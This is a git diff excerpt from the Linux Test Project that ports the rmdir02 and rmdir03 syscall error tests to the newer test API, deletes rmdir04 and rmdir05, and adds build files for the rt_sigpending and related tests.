-#include "safe_macros.h"
+#include "tst_test.h"
 
 #define DIR_MODE	(S_IRWXU | S_IRWXG | S_IRWXO)
 #define FILE_MODE	(S_IRWXU | S_IRWXG | S_IRWXO)
@@ -64,137 +38,83 @@
 #define TESTDIR2	"nosuchdir/testdir2"
 #define TESTDIR3	"testfile2/testdir3"
 #define TESTDIR4	"/loopdir"
-#define MNTPOINT	"mntpoint"
-#define TESTDIR5	"mntpoint/testdir5"
+#define MNT_POINT	"mntpoint"
+#define TESTDIR5	"mntpoint/dir"
 #define TESTFILE    "testdir/testfile"
 #define TESTFILE2   "testfile2"
 
 static char longpathname[PATH_MAX + 2];
 static char looppathname[sizeof(TESTDIR4) * 43] = ".";
 
-static const char *device;
-static int mount_flag;
-
-static struct test_case_t {
+static struct testcase {
 	char *dir;
 	int exp_errno;
-} test_cases[] =  {
+} tcases[] =  {
 	{TESTDIR, ENOTEMPTY},
 	{longpathname, ENAMETOOLONG},
 	{TESTDIR2, ENOENT},
 	{TESTDIR3, ENOTDIR},
-#if !defined(UCLINUX)
-	{(char *)-1, EFAULT},
-#endif
 	{NULL, EFAULT},
 	{looppathname, ELOOP},
 	{TESTDIR5, EROFS},
-	{MNTPOINT, EBUSY},
+	{MNT_POINT, EBUSY},
+	{".", EINVAL}
 };
 
-static void setup(void);
-static void rmdir_verify(struct test_case_t *tc);
-static void cleanup(void);
-
-char *TCID = "rmdir02";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
-{
-	int i, lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			rmdir_verify(&test_cases[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
-	int i;
-	const char *fs_type;
+	unsigned int i;
 
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to acquire device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-	SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE);
-	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL);
-	SAFE_MKDIR(cleanup, TESTDIR5, DIR_MODE);
-	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, MS_REMOUNT | MS_RDONLY,
-		   NULL);
-	mount_flag = 1;
-
-	SAFE_MKDIR(cleanup, TESTDIR, DIR_MODE);
-	SAFE_TOUCH(cleanup, TESTFILE, FILE_MODE, NULL);
+	SAFE_MKDIR(TESTDIR, DIR_MODE);
+	SAFE_TOUCH(TESTFILE, FILE_MODE, NULL);
 
 	memset(longpathname, 'a', PATH_MAX + 1);
 
-	SAFE_TOUCH(cleanup, TESTFILE2, FILE_MODE, NULL);
+	SAFE_TOUCH(TESTFILE2, FILE_MODE, NULL);
 
-#if !defined(UCLINUX)
-	test_cases[4].dir = SAFE_MMAP(cleanup, 0, 1, PROT_NONE,
-		MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-#endif
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		if (!tcases[i].dir)
+			tcases[i].dir = tst_get_bad_addr(NULL);
+	}
 
 	/*
 	 * NOTE: the ELOOP test is written based on that the
 	 * consecutive symlinks limit in kernel is hardwired
 	 * to 40.
 	 */
-	SAFE_MKDIR(cleanup, "loopdir", DIR_MODE);
-	SAFE_SYMLINK(cleanup, "../loopdir", "loopdir/loopdir");
+	SAFE_MKDIR("loopdir", DIR_MODE);
+	SAFE_SYMLINK("../loopdir", "loopdir/loopdir");
 	for (i = 0; i < 43; i++)
 		strcat(looppathname, TESTDIR4);
 }
 
-static void rmdir_verify(struct test_case_t *tc)
+static void verify_rmdir(unsigned int n)
 {
+	struct testcase *tc = &tcases[n];
+
 	TEST(rmdir(tc->dir));
 
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "rmdir() returned %ld, "
-			"expected -1, errno:%d", TEST_RETURN,
-			tc->exp_errno);
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "rmdir() succeeded unexpectedly (%li)",
+			TST_RET);
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_errno) {
-		tst_resm(TPASS | TTERRNO, "rmdir() failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			"rmdir() failed unexpectedly; expected: %d - %s",
-			tc->exp_errno, strerror(tc->exp_errno));
+	if (TST_ERR == tc->exp_errno) {
+		tst_res(TPASS | TTERRNO, "rmdir() failed as expected");
+		return;
 	}
+
+	tst_res(TFAIL | TTERRNO,
+		"rmdir() failed unexpectedly; expected: %d - %s",
+		tc->exp_errno, tst_strerrno(tc->exp_errno));
 }
 
-static void cleanup(void)
-{
-	if (mount_flag && tst_umount(MNTPOINT) == -1)
-		tst_resm(TWARN | TERRNO, "umount %s failed", MNTPOINT);
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_rmdir,
+	.needs_root = 1,
+	.needs_rofs = 1,
+	.mntpoint = MNT_POINT,
+};
diff --git a/testcases/kernel/syscalls/rmdir/rmdir03.c b/testcases/kernel/syscalls/rmdir/rmdir03.c
index 2bdc8ba..d3ad5b5 100644
--- a/testcases/kernel/syscalls/rmdir/rmdir03.c
+++ b/testcases/kernel/syscalls/rmdir/rmdir03.c
@@ -1,338 +1,105 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
- * NAME
- *	rmdir03
- *
  * DESCRIPTION
- *      check rmdir() fails with EPERM or EACCES
+ *   check rmdir() fails with EPERM or EACCES
  *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Pause for SIGUSR1 if option specified.
- *		Create temporary directory.
+ *	1. Create a directory tstdir1 and set the sticky bit, then
+ *         create directory tstdir2 under tstdir1. Call rmdir(),
+ *         set to be user nobody. Pass tstdir2 to rmdir(2), verify
+ *         the return value is not 0 and the errno is EPERM or EACCES.
  *
- *	Test:
- *		Loop if the proper options are given.
- *              1. create a directory tstdir1 and set the sticky bit, then
- *                 create directory tstdir2 under tstdir1. Fork a
- *                 child , set to be user nobody. Pass tstdir2 to rmdir(2).
- *                 Verify the return value is not 0 and the errno is EPERM
- *                 or EACCES.
- *              2. Fork a child, set to be user nobody. Create a directory
- *                 tstdir1 and only give write permission to nobody.
- *                 Create directory tstdir2 under tstdir1. Fork the second
- *                 child , set to be user nobody. Pass tstdir2 to rmdir(2).
- *                 Verify the return value is not 0 and the errno is EACCES.
- *
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- *
- * USAGE
- *	rmdir03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	Test must be run as root.
- *
+ *	2. Create a directory tstdir1 and doesn't give execute/search
+ *         permission to nobody, then create directory tstdir2 under
+ *         tstdir1. Call rmdir(), set to be user nobody. Pass
+ *         tstdir2 to rmdir(2), verify the return value is not 0 and
+ *         the errno is EACCES.
  */
 #include <errno.h>
-#include <string.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/wait.h>
-#include <fcntl.h>
 #include <pwd.h>
 #include <unistd.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define DIR_MODE    0777
+#define NOEXCUTE_MODE 0766
+#define TESTDIR     "testdir"
+#define TESTDIR2    "testdir/testdir2"
+#define TESTDIR3    "testdir3"
+#define TESTDIR4    "testdir3/testdir4"
 
-void dochild1();
-void dochild2();
-void setup();
-void cleanup();
+static struct testcase {
+	mode_t dir_mode;
+	char *subdir;
+} tcases[] =  {
+	{DIR_MODE | S_ISVTX, TESTDIR2},
+	{NOEXCUTE_MODE, TESTDIR4},
+};
 
-#define PERMS		0777
-
-static uid_t nobody_uid;
-
-char *TCID = "rmdir03";
-int TST_TOTAL = 1;
-
-char tstdir1[255];
-char tstdir2[255];
-char tstdir3[255];
-char tstdir4[255];
-
-int main(int ac, char **av)
+static void do_rmdir(unsigned int n)
 {
-	int lc;
-	pid_t pid;
-	struct stat buf1;
-	int e_code, status, status2;
+	struct testcase *tc = &tcases[n];
 
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-#ifdef UCLINUX
-	maybe_run_child(&dochild1, "ns", 1, tstdir2);
-	maybe_run_child(&dochild2, "ns", 2, tstdir4);
-#endif
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-//test1:       $
-		/*
-		 * attempt to rmdir a file whose parent directory has
-		 * the sticky bit set without the root right
-		 * or effective uid
-		 */
-
-		if (stat(tstdir1, &buf1) != -1) {
-			tst_brkm(TBROK, cleanup,
-				 "tmp directory %s found!", tstdir1);
-		}
-		/* create a directory */
-		SAFE_MKDIR(cleanup, tstdir1, PERMS);
-		if (stat(tstdir1, &buf1) == -1) {
-			perror("stat");
-			tst_brkm(TBROK, cleanup, "failed to stat directory %s "
-				 "in rmdir()", tstdir1);
-
-		}
-		/* set the sticky bit */
-		if (chmod(tstdir1, buf1.st_mode | S_ISVTX) != 0) {
-			perror("chmod");
-			tst_brkm(TBROK, cleanup,
-				 "failed to set the S_ISVTX bit");
-
-		}
-		/* create a sub directory under tstdir1 */
-		SAFE_MKDIR(cleanup, tstdir2, PERMS);
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork() failed");
-		}
-
-		if (pid == 0) {	/* first child */
-#ifdef UCLINUX
-			if (self_exec(av[0], "ns", 1, tstdir2) < 0) {
-				tst_brkm(TBROK, cleanup, "self_exec failed");
-			}
-#else
-			dochild1();
-#endif
-		}
-		/* Parent */
-
-//test2:       $
-		/* create the a directory with 0700 permits */
-		SAFE_MKDIR(cleanup, tstdir3, 0700);
-		/* create the a directory with 0700 permits */
-		SAFE_MKDIR(cleanup, tstdir4, 0777);
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork() failed");
-		}
-
-		if (pid == 0) {	/* child */
-#ifdef UCLINUX
-			if (self_exec(av[0], "ns", 2, tstdir4) < 0) {
-				tst_brkm(TBROK, cleanup, "self_exec failed");
-			}
-#else
-			dochild2();
-#endif
-		} else {	/* parent */
-			/* wait for the child to finish */
-			wait(&status);
-			wait(&status2);
-			/* make sure the child returned a good exit status */
-			e_code = status >> 8;
-			if (e_code != 0) {
-				tst_resm(TFAIL, "Failures reported above");
-			} else {
-				/* No error in the 1st one, check the 2nd */
-				e_code = status2 >> 8;
-				if (e_code != 0) {
-					tst_resm(TFAIL,
-						 "Failures reported above");
-				}
-			}
-		}
-
-		/* clean up things in case we are looping */
-
-		(void)rmdir(tstdir2);
-		(void)rmdir(tstdir1);
-		(void)rmdir(tstdir4);
-		(void)rmdir(tstdir3);
-
+	TEST(rmdir(tc->subdir));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "rmdir() succeeded unexpectedly");
+		return;
 	}
 
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-	tst_exit();
+	if (TST_ERR != EACCES) {
+		if (tc->dir_mode & S_ISVTX && TST_ERR == EPERM)
+			tst_res(TPASS | TTERRNO, "rmdir() got expected errno");
+		else
+			tst_res(TFAIL | TTERRNO, "expected EPERM, but got");
+		return;
+	}
 
+	tst_res(TPASS | TTERRNO, "rmdir() got expected errno");
 }
 
-/*
- * dochild1()
- */
-void dochild1(void)
-{
-	int retval = 0;
 
-	/* set to nobody */
-	if (seteuid(nobody_uid) == -1) {
-		retval = 1;
-		tst_brkm(TBROK, cleanup, "setreuid failed to "
-			 "set effective uid to %d", nobody_uid);
-	}
-
-	/* rmdir tstdir2 */
-	TEST(rmdir(tstdir2));
-
-	if (TEST_ERRNO) {
-	}
-
-	if (TEST_RETURN != -1) {
-		retval = 1;
-		tst_resm(TFAIL, "call succeeded unexpectedly");
-	} else if ((TEST_ERRNO != EPERM) && (TEST_ERRNO != EACCES)) {
-		retval = 1;
-		tst_resm(TFAIL, "Expected EPERM or EACCES, got %d", TEST_ERRNO);
-	} else {
-		tst_resm(TPASS, "rmdir() produced EPERM or EACCES");
-	}
-
-	if (seteuid(0) == -1) {
-		retval = 1;
-		tst_brkm(TBROK, cleanup, "seteuid(0) failed");
-	}
-	exit(retval);
-	/* END of child 1 (test1) */
-}
-
-/*
- * dochild1()
- */
-void dochild2(void)
-{
-	int retval = 0;
-
-	/* set to nobody */
-	if (seteuid(nobody_uid) == -1) {
-		retval = 1;
-		tst_brkm(TBROK, cleanup, "setreuid failed to "
-			 "set effective uid to %d", nobody_uid);
-	}
-
-	/* rmdir tstdir4 */
-	TEST(rmdir(tstdir4));
-
-	if (TEST_ERRNO) {
-	}
-
-	if (TEST_RETURN != -1) {
-		retval = 1;
-		tst_resm(TFAIL, "call succeeded unexpectedly");
-	} else if (TEST_ERRNO != EACCES) {
-		retval = 1;
-		tst_resm(TFAIL, "Expected EACCES got %d", TEST_ERRNO);
-	} else {
-		tst_resm(TPASS, "rmdir() produced EACCES");
-	}
-
-	if (seteuid(0) == -1) {
-		retval = 1;
-		tst_brkm(TBROK, cleanup, "seteuid(0) failed");
-	}
-	exit(retval);
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
 	struct passwd *pw;
-
-	tst_require_root();
-
-	pw = SAFE_GETPWNAM(NULL, "nobody");
-	nobody_uid = pw->pw_uid;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
+	pw = SAFE_GETPWNAM("nobody");
 
 	umask(0);
 
-	sprintf(tstdir1, "./tstdir1_%d", getpid());
-	sprintf(tstdir2, "%s/tstdir2_%d", tstdir1, getpid());
-	sprintf(tstdir3, "./tstdir3_%d", getpid());
-	sprintf(tstdir4, "%s/tstdir3_%d", tstdir3, getpid());
+	SAFE_MKDIR(TESTDIR, DIR_MODE | S_ISVTX);
+	SAFE_MKDIR(TESTDIR2, DIR_MODE);
+	SAFE_MKDIR(TESTDIR3, NOEXCUTE_MODE);
+	SAFE_MKDIR(TESTDIR4, DIR_MODE);
+
+	SAFE_SETEUID(pw->pw_uid);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *              completion or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-
-	/*
-	 * Exit with return code appropriate for results.
-	 */
-
+	SAFE_SETEUID(0);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = do_rmdir,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
+
diff --git a/testcases/kernel/syscalls/rmdir/rmdir04.c b/testcases/kernel/syscalls/rmdir/rmdir04.c
deleted file mode 100644
index fe5e320..0000000
--- a/testcases/kernel/syscalls/rmdir/rmdir04.c
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: rmdir04.c,v 1.6 2009/11/02 13:57:18 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: rmdir04
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for rmdir(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- *	1.) rmdir(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- *	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *
- *    DURATION
- *	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- *	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- *	None
- *
- *    INTERCASE DEPENDENCIES
- *	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the rmdir(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	rmdir(2).
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <fcntl.h>
-#include <unistd.h>
-
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-#include "safe_macros.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "rmdir04";
-int TST_TOTAL = 1;
-
-char *cwd;
-char fname[255];
-
-int main(int ac, char **av)
-{
-	int lc;
-
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		SAFE_MKDIR(cleanup, fname, 0777);
-		/*
-		 * Call rmdir(2)
-		 */
-		TEST(rmdir(fname));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "rmdir(%s) Failed, errno=%d : %s",
-				 fname, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "rmdir(%s) returned %ld", fname,
-				 TEST_RETURN);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "./dir_%d", getpid());
-
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/rmdir/rmdir05.c b/testcases/kernel/syscalls/rmdir/rmdir05.c
deleted file mode 100644
index bef3b47..0000000
--- a/testcases/kernel/syscalls/rmdir/rmdir05.c
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *    AUTHOR		: Bill Branum
- *    CO-PILOT		: Steve Shaw
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
- /*
-  * TEST CASES
-  *  rmdir(2) test for errno(s) EINVAL, EMLINK, EFAULT
-  */
-
-#include <errno.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <stdlib.h>
-#include <string.h>
-#include "test.h"
-#include "safe_macros.h"
-
-static void setup(void);
-static void cleanup(void);
-
-#if !defined(UCLINUX)
-extern char *get_high_address();
-int TST_TOTAL = 6;
-#else
-int TST_TOTAL = 4;
-#endif
-
-char *TCID = "rmdir05";
-
-static struct stat stat_buf;
-static char dir_name[256];
-
-static char *bad_addr = NULL;
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		/*
-		 * TEST CASE: 1
-		 * path points to the current directory
-		 */
-		TEST(rmdir("."));
-
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO & (EBUSY | ENOTEMPTY)) {
-				/* For functionality tests, verify that the
-				 * directory wasn't removed.
-				 */
-				if (stat(".", &stat_buf) == -1) {
-					tst_resm(TFAIL,
-						 "rmdir(\".\") removed the current working directory when it should have failed.");
-				} else {
-					tst_resm(TPASS,
-						 "rmdir(\".\") failed to remove the current working directory. Returned %d : %s",
-						 TEST_ERRNO,
-						 strerror(TEST_ERRNO));
-				}
-			} else {
-				tst_resm(TFAIL,
-					 "rmdir(\".\") failed with errno %d : %s but expected %d (EBUSY)",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO), EBUSY);
-			}
-		} else {
-			tst_resm(TFAIL,
-				 "rmdir(\".\") succeeded unexpectedly.");
-		}
-
-		/*
-		 * TEST CASE: 2
-		 * path points to the "." (dot) entry of a directory
-		 */
-		tst_resm(TCONF, "rmdir on \"dir/.\" supported on Linux");
-
-		tst_resm(TCONF,
-			 "linked directories test not implemented on Linux");
-
-		/*
-		 * TEST CASE: 4
-		 * path argument points below the minimum allocated address space
-		 */
-#if !defined(UCLINUX)
-		TEST(rmdir(bad_addr));
-
-		if (TEST_RETURN == -1) {
-		}
-
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO == EFAULT) {
-				tst_resm(TPASS,
-					 "rmdir() - path argument points below the minimum allocated address space failed as expected with errno %d : %s",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL,
-					 "rmdir() - path argument points below the minimum allocated address space failed with errno %d : %s but expected %d (EFAULT)",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO), EFAULT);
-			}
-		} else {
-			tst_resm(TFAIL,
-				 "rmdir() - path argument points below the minimum allocated address space succeeded unexpectedly.");
-		}
-
-		/*
-		 * TEST CASE: 5
-		 * path argument points above the maximum allocated address space
-		 */
-
-		TEST(rmdir(get_high_address()));
-
-		if (TEST_RETURN == -1) {
-		}
-
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO == EFAULT) {
-				tst_resm(TPASS,
-					 "rmdir() - path argument points above the maximum allocated address space failed as expected with errno %d : %s",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL,
-					 "rmdir() - path argument points above the maximum allocated address space failed with errno %d : %s but expected %d (EFAULT)",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO), EFAULT);
-			}
-		} else {
-			tst_resm(TFAIL,
-				 "rmdir() - path argument points above the maximum allocated address space succeeded unexpectedly.");
-		}
-#endif
-
-		/*
-		 * TEST CASE: 6
-		 * able to remove a directory
-		 */
-
-		if (mkdir(dir_name, 0777) != 0) {
-			tst_brkm(TBROK, cleanup,
-				 "mkdir(\"%s\") failed with errno %d : %s",
-				 dir_name, errno, strerror(errno));
-		}
-
-		TEST(rmdir(dir_name));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "rmdir(\"%s\") failed when it should have passed. Returned %d : %s",
-				 dir_name, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			/* Verify the directory was removed. */
-			if (stat(dir_name, &stat_buf) != 0) {
-				tst_resm(TPASS,
-					 "rmdir(\"%s\") removed the directory as expected.",
-					 dir_name);
-			} else {
-				tst_resm(TFAIL,
-					 "rmdir(\"%s\") returned a zero exit status but failed to remove the directory.",
-					 dir_name);
-			}
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Create a directory. */
-	SAFE_MKDIR(cleanup, "dir1", 0777);
-
-	/* Create a unique directory name. */
-	sprintf(dir_name, "./dir_%d", getpid());
-
-#if !defined(UCLINUX)
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-#endif
-}
-
-void cleanup(void)
-{
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/rt_sigaction/.gitignore b/testcases/kernel/syscalls/rt_sigaction/.gitignore
new file mode 100644
index 0000000..8fec9fd
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_sigaction/.gitignore
@@ -0,0 +1,3 @@
+/rt_sigaction01
+/rt_sigaction02
+/rt_sigaction03
diff --git a/testcases/kernel/syscalls/rt_sigpending/.gitignore b/testcases/kernel/syscalls/rt_sigpending/.gitignore
new file mode 100644
index 0000000..85905fc
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_sigpending/.gitignore
@@ -0,0 +1 @@
+/rt_sigpending02
diff --git a/testcases/kernel/syscalls/rt_sigpending/Makefile b/testcases/kernel/syscalls/rt_sigpending/Makefile
new file mode 100644
index 0000000..57ba3da
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_sigpending/Makefile
@@ -0,0 +1,15 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019, Linux Test Project
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CPPFLAGS += -DTEST_RT_SIGPENDING
+
+rt_sigpending02: $(abs_srcdir)/../sigpending/sigpending02.c
+	$(LINK.c) $^ $(LOADLIBES) $(LDLIBS) $(OUTPUT_OPTION)
+
+MAKE_TARGETS := rt_sigpending02
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/rt_sigprocmask/.gitignore b/testcases/kernel/syscalls/rt_sigprocmask/.gitignore
new file mode 100644
index 0000000..96a0e08
--- /dev/null
+++ b/testcases/kernel/syscalls/rt_sigprocmask/.gitignore
